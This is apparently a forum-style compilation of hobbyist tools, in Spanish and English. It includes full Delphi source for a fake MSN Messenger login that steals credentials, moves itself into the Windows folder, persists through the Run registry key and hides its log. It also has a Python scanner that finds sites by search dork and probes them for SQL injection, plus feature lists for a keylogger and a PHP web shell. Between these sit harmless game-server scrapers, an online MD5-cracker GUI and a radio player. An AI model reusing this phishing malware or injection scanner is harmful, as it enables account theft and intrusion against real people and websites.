• El programa al cargarse se mueve automaticamente a la carpeta de windows
• El programa se ejecuta cuando Windows se inicia
• Se ocultan los archivos relacionados al programa
• Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

{
Fake MSN 0.2
Coded By Doddy H
}
 
unit fake;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
 
type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Edit1Click(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Image2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;
 
procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
  Edit2.PasswordChar := '*';
end;
 
procedure TForm1.FormCreate(Sender: TObject);
 
var nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;
 
begin
 
  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;
 
  MoveFile(Pchar(rutareal), Pchar(yalisto));
 
  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;
 
  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;
 
  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
 
end;
 
procedure TForm1.Image2Click(Sender: TObject);
 
var archivo: TextFile;
  ruta: string;
 
begin
 
  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  end
  else
  begin
 
    if Edit1.Text = '' then
    begin
      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; //mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;
 
end;
 
end.
 
// The End ?
 

#!usr/bin/perl
#Counter Strike 1.6 Servers List
#Version 0.1
#Coded By Doddy H
 
use LWP::UserAgent;
use Cwd;
use Time::HiRes "usleep";
 
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
 
my @founds;
my @founds_final;
 
head();
 
print "[+] Pages (1-899) : ";
chomp( my $pag = <stdin> );
 
print "\n\n[+] Searching Servers ....\n";
 
for my $count ( 1 .. $pag ) {
 
    my $code =
      toma( "http://www.gametracker.com/search/cs/?searchipp=50&searchpge="
          . $count );
 
    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
 
    for (@found) {
        push( @founds_final, $_ );
    }
 
}
 
my @founds_final = repes(@founds_final);
 
print "\n[+] Servers Found : " . int(@founds_final);
 
my $ruta_logs = getcwd() . "/" . "cs_servers.txt";
 
if ( -f $ruta_logs ) {
    unlink($ruta_logs);
}
 
open( LOGS, ">>cs_servers.txt" );
 
for (@founds_final) {
    print LOGS $_ . "\n";
}
 
close LOGS;
 
print "\n\n[+] All results are stored in : $ruta_logs\n";
 
if ( -f $ruta_logs ) {
    system($ruta_logs);
}
 
copyright();
 
sub head {
 
    my @logo = (
        "#=============================================#", "\n",
        "#       Counter Strike 1.6 Servers List       #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );
 
    print "\n";
 
    marquesina(@logo);
 
    print "\n\n";
 
}
 
sub copyright {
 
    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
 
    print "\n\n";
    marquesina(@fin);
    print "\n\n";
 
    <stdin>;
 
    exit(1);
 
}
 
sub marquesina {
 
    #Effect based in the exploits by Jafer Al Zidjali
 
    my @logo = @_;
 
    my $car = "|";
 
    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {
 
            $|++;
 
            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }
 
    sub mostrar {
        print $_[0];
        $car = $_[1];
    }
 
}
 
sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
#The End ?
 

#!usr/bin/perl
#Half Life Servers List 0.1
#Coded By Doddy H
 
use LWP::UserAgent;
use Cwd;
use Time::HiRes "usleep";
 
my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);
 
my @founds;
my @founds_final;
 
head();
 
print "[+] Searching Servers ....\n";
 
for my $count ( 1 .. 2 ) {
 
    my $code =
      toma( "http://www.game-monitor.com/search.php?game=valve&pg="
          . $count
          . "&num=100" );
 
    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
 
    for (@found) {
        push( @founds_final, $_ );
    }
 
}
 
my @founds_final = repes(@founds_final);
 
print "\n[+] Servers Found : " . int(@founds_final);
 
my $ruta_logs = getcwd() . "/" . "hl_servers.txt";
 
if ( -f $ruta_logs ) {
    unlink($ruta_logs);
}
 
open( LOGS, ">>hl_servers.txt" );
 
for (@founds_final) {
    print LOGS $_ . "\n";
}
 
close LOGS;
 
print "\n\n[+] All results are stored in : $ruta_logs\n";
 
if ( -f $ruta_logs ) {
    system($ruta_logs);
}
 
copyright();
 
sub head {
 
    my @logo = (
        "#=============================================#", "\n",
        "#         Half Life Servers List 0.1          #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );
 
    print "\n";
 
    marquesina(@logo);
 
    print "\n\n";
 
}
 
sub copyright {
 
    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
 
    print "\n\n";
    marquesina(@fin);
    print "\n\n";
 
    <stdin>;
 
    exit(1);
 
}
 
sub marquesina {
 
    #Effect based in the exploits by Jafer Al Zidjali
 
    my @logo = @_;
 
    my $car = "|";
 
    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {
 
            $|++;
 
            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }
 
    sub mostrar {
        print $_[0];
        $car = $_[1];
    }
 
}
 
sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}
 
sub toma {
    return $nave->get( $_[0] )->content;
}
 
#The End ?
 

• Capturar teclas reconociendo mayusculas y minusculas asi como signos
• Capturar ventanas activas
• Capturar el escritorio de windows cada cierto tiempo o cada click del mouse
• Oculta archivos relacionados al programa
• Compresion de los logs a zip
• Logs ordenados en un archivo HTML
• Subir logs a un servidor FTP marcado
• Ejecutarse cuando se inicie Windows

#!usr/bin/python
#BingHack Tool 0.1
#Coded By Doddy H
 
import sys,urllib2,re
from PyQt4 import QtCore,QtGui
 
def toma(web) :
 nave = urllib2.Request(web)
 nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
 op = urllib2.build_opener()
 return op.open(nave).read()
 
def sql(webs):
 for web in webs :
  if re.findall("=",web): 
   web = re.split("=",web)
   web = web[0]+"="
   app.processEvents()
   try:
    code = toma(web+"-1+union+select+1--")
    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
     new.console.appendPlainText("[SQLI] : "+web)
   except:
    pass
 
def limpiar(pag):
 
 limpia = []
 for p in pag:
  if p not in limpia:
   limpia.append(p)
 return limpia
 
def buscar(dork,count):
 
 pag = []
 s = 10  
 
 new.console.appendPlainText("[+] Searching pages ....")
 
 while s <= int(count):
  try:
   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
   s += 10
   for a in d:
    pag.append(a)
  except:
   pass
 
 new.console.appendPlainText("[+] Cleaning ...")
 
 pag = limpiar(pag)
 return pag
 
def scan():
 
 new.console.clear()
 pages = buscar(new.dork.text(),new.pages.text())
 new.console.appendPlainText("[+] Scanning ...\n")
 sql(pages)
 new.console.appendPlainText("\n[+] Finished")
 
app = QtGui.QApplication(sys.argv)
 
new = QtGui.QWidget()
 
new.setWindowTitle("BingHack Tool 0.1 || Coded By Doddy H")
new.resize(450,470)
new.setStyleSheet("QWidget {background-color: #000000;color: #FF8000}")
 
new.label1 = QtGui.QLabel("Dork : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label1.setGeometry(30,23,80,20)
 
new.dork = QtGui.QLineEdit(new)
new.dork.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
new.dork.setGeometry(90,23,200,25)
 
new.label1 = QtGui.QLabel("Pages : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label1.setGeometry(30,60,80,20)
 
new.pages = QtGui.QLineEdit(new)
new.pages.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
new.pages.setGeometry(100,60,50,25)
 
new.search = QtGui.QPushButton("Scan",new)
new.search.setGeometry(305,22,110,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
 
new.label2 = QtGui.QLabel("Console",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label2.setGeometry(185,110,70,20)
 
new.console = QtGui.QPlainTextEdit(new)
new.console.setGeometry(50,150,350,300)
new.console.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
 
new.connect(new.search,QtCore.SIGNAL("clicked()"),scan)
 
new.show()
 
sys.exit(app.exec_())
 
# The End ?
 

#!usr/bin/python
#MD5 Crack Online 0.1
#Coded By Doddy H
#Test with 098f6bcd4621d373cade4e832627b4f6
 
import sys,urllib2,re
from PyQt4 import QtCore,QtGui
 
def toma(web) :
 nave = urllib2.Request(web)
 nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
 op = urllib2.build_opener()
 return op.open(nave).read()
 
def crackit(hash):
 if(len(hash) == 32):
  code = toma("http://md5.hashcracking.com/search.php?md5="+hash)
  if (re.findall("Cleartext of "+hash+" is (.*)",code)):
   rex = re.findall("Cleartext of "+hash+" is (.*)",code)
   return rex[0]
  else:
   return "Not Found"
 else:
  print "Hash invalid"
 
def crack():
 new.result.setText(crackit(str(new.md5.text())))
 
app = QtGui.QApplication(sys.argv)
 
new = QtGui.QWidget()
 
new.setWindowTitle("MD5 Crack Online 0.1 || Coded By Doddy H")
new.resize(800,70)
new.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF}")
 
new.label1 = QtGui.QLabel("MD5 : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)
 
new.md5 = QtGui.QLineEdit(new)
new.md5.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
new.md5.setGeometry(75,23,247,25)
 
new.label2 = QtGui.QLabel("Result : ",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
new.label2.setGeometry(335,23,80,20)
 
new.result = QtGui.QLineEdit(new)
new.result.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
new.result.setGeometry(410,23,230,25)
 
new.search = QtGui.QPushButton("Crack",new)
new.search.setGeometry(660,23,120,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
 
new.connect(new.search,QtCore.SIGNAL("clicked()"),crack)
 
new.show()
 
sys.exit(app.exec_())
 
# The End ?
 

• Rock'n'Roll
• Pop
• Ambient
• Trance
• House
• Y otros mas .......

#!usr/bin/perl
#Radio X
#Version 0.2
#Coded By Doddy H
#
#Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
#
 
use Cwd;
 
my @emisoras = (
 
    {},
 
    {
 
        "nombre" => "Absolute Classic Rock (Broadband)",
        "genero" => "Rock'n'Roll",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vcbb"
 
    },
 
    {
 
        "nombre" => "Absolute Classic Rock (Modem)",
        "genero" => "Rock'n'Roll",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vc"
 
    },
 
    {
 
        "nombre" => "Absolute Radio (Broadband)",
        "genero" => "Pop",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vrbb"
 
    },
 
    {
 
        "nombre" => "Absolute Radio (Modem)",
        "genero" => "Pop",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vr"
 
    },
 
    {
 
        "nombre" => "Absolute Xtreme (Broadband)",
        "genero" => "Modern Rock",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vxbb"
 
    },
 
    {
 
        "nombre" => "Absolute Xtreme (Modem)",
        "genero" => "Modern Rock",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vx"
 
    },
 
    {
 
        "nombre" => "HBR1.com - Dream Factory",
        "genero" => "Ambient",
        "link"   => "http://ubuntu.hbr1.com:19800/ambient.ogg"
 
    },
 
    {
 
        "nombre" => "HBR1.com - I.D.M. Tranceponder",
        "genero" => "Trance",
        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"
 
    },
 
    {
 
        "nombre" => "HBR1.com - Tronic Lounge",
        "genero" => "House",
        "link"   => "http://ubuntu.hbr1.com:19800/tronic.ogg"
 
    },
 
    {
 
        "nombre" => "NRK Alltid Klassisk (Norway)",
        "genero" => "Desconocido",
        "link" =>
          "http://media.hiof.no/streams/m3u/nrk-alltid-klassisk-172.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "NRK Alltid Nyheter (Norway)",
        "genero" => "Desconocido",
        "link" =>
          "http://media.hiof.no/streams/m3u/nrk-alltid-nyheter-172.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "NRK mP3 (Norway)",
        "genero" => "Desconocido",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-mpetre-172.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "NRK P1 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-p1-172.ogg.m3u",
 
    },
 
    {
 
        "nombre" => "NRK P2 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-p2-172.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "NRK P3 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-petre-172.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "WKNC 88.1 FM (NC State) (High Quality)",
        "genero" => "Music",
        "link"   => "http://wknc.sma.ncsu.edu:8000/wknchq.ogg.m3u"
 
    },
 
    {
 
        "nombre" => "WKNC 88.1 FM (NC State) (Low Quality)",
        "genero" => "Music",
        "link"   => "http://wknc.sma.ncsu.edu:8000/wkncmq.ogg.m3u"
 
    }
 
);
 
$SIG{INT} = \&retorno;
 
chdir( getcwd() . "/mplayer/" );
 
menu();
 
sub retorno {
    print "\n\n[+] Press any key for return to the menu\n\n";
    <stdin>;
    menu();
}
 
sub menu {
 
    head();
 
    for my $em ( 1 .. @emisoras - 1 ) {
 
        print "\n[+] Number : " . $em . "\n";
        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
        print "[+] Station : " . $emisoras[$em]->{genero} . "\n";
 
    }
 
    print "\n\n[+] Option : ";
    chomp( my $op = <stdin> );
 
    if ( $op =~ /\d+/ ) {
        system("mplayer $emisoras[$op]->{link}");
    }
 
    copyright();
 
}
 
sub head {
 
    clean();
 
    print qq(
 
 
 @@@@@     @    @@@@    @   @@@@     @     @
 @    @    @    @   @   @  @    @    @     @
 @    @   @ @   @    @  @  @    @     @   @ 
 @    @   @ @   @    @  @  @    @      @ @  
 @@@@@   @   @  @    @  @  @    @       @   
 @    @  @   @  @    @  @  @    @      @ @  
 @    @  @@@@@  @    @  @  @    @     @   @ 
 @    @ @     @ @   @   @  @    @    @     @
 @    @ @     @ @@@@    @   @@@@     @     @
 
 
 
);
 
}
 
sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}
 
sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}
 
#The End ?
 

 @@@@@     @    @@@@    @   @@@@     @     @
 @    @    @    @   @   @  @    @    @     @
 @    @   @ @   @    @  @  @    @     @   @
 @    @   @ @   @    @  @  @    @      @ @
 @@@@@   @   @  @    @  @  @    @       @
 @    @  @   @  @    @  @  @    @      @ @
 @    @  @@@@@  @    @  @  @    @     @   @
 @    @ @     @ @   @   @  @    @    @     @
 @    @ @     @ @@@@    @   @@@@     @     @




[+] Number : 1
[+] Name : Absolute Classic Rock (Broadband)
[+] Station : Rock'n'Roll

[+] Number : 2
[+] Name : Absolute Classic Rock (Modem)
[+] Station : Rock'n'Roll

[+] Number : 3
[+] Name : Absolute Radio (Broadband)
[+] Station : Pop

[+] Number : 4
[+] Name : Absolute Radio (Modem)
[+] Station : Pop

[+] Number : 5
[+] Name : Absolute Xtreme (Broadband)
[+] Station : Modern Rock

[+] Number : 6
[+] Name : Absolute Xtreme (Modem)
[+] Station : Modern Rock

[+] Number : 7
[+] Name : HBR1.com - Dream Factory
[+] Station : Ambient

[+] Number : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Station : Trance

[+] Number : 9
[+] Name : HBR1.com - Tronic Lounge
[+] Station : House

[+] Number : 10
[+] Name : NRK Alltid Klassisk (Norway)
[+] Station : Desconocido

[+] Number : 11
[+] Name : NRK Alltid Nyheter (Norway)
[+] Station : Desconocido

[+] Number : 12
[+] Name : NRK mP3 (Norway)
[+] Station : Desconocido

[+] Number : 13
[+] Name : NRK P1 (Norway)
[+] Station : General

[+] Number : 14
[+] Name : NRK P2 (Norway)
[+] Station : General

[+] Number : 15
[+] Name : NRK P3 (Norway)
[+] Station : General

[+] Number : 16
[+] Name : WKNC 88.1 FM (NC State) (High Quality)
[+] Station : Music

[+] Number : 17
[+] Name : WKNC 88.1 FM (NC State) (Low Quality)
[+] Station : Music


[+] Option : 7
MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://ubuntu.hbr1.com:19800/ambient.ogg.
Resolving ubuntu.hbr1.com for AF_INET...
Connecting to server ubuntu.hbr1.com[93.94.83.51]: 19800...
Cache size set to 320 KBytes
Cache fill: 15.00% (49152 bytes)
[Ogg] stream 0: audio (Vorbis), -aid 0
Ogg file format detected.
Clip info:
 Artist: A.C.E. (chillgressive tunes)
 Name: Acid Chill Experience (DJ-Set, exclusive 4 hbr1.com)
 Album: hbr1.com
 Genre: Ambient
 Track: 1
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
Ogg : bad packet in stream 0
AUDIO: 44100 Hz, 2 ch, s16le, 64.0 kbit/4.54% (ratio: 8000->176400)
Selected audio codec: [ffvorbis] afm: ffmpeg (FFmpeg Vorbis decoder)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...

• Informacion : sobre el servidor web
• Navegacion de archivos y directorios :

• Ejecutar comandos
• Subir archivos a un directorio especifico
• Base64 encode() decode()
• Ejecutar codigo php con eval()
• Cargar phpinfo()
• Crackear hash md5 con salto o sin salto
• BackShell : en esta version solo esta un reverse shell en perl hecho por mi
• MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
• CleanLogs : limpia logs de linux
• Deteccion de archivo /etc/passwd o SAM para descargar
• Cracker para FTP Y Mysql
• PortScanner
• MailBomber para varios emails
• Posibilidad de buscar kernel en DB Exploit
• ProxyWeb
• Encode para md5,sha1,crc32
• FTP

• SQL Manager

• Cookies Manager

• Session Manager

• Shell Protegida con user y pass
• Autodestruccion de la shell

http://pastebin.com/N03AJbm3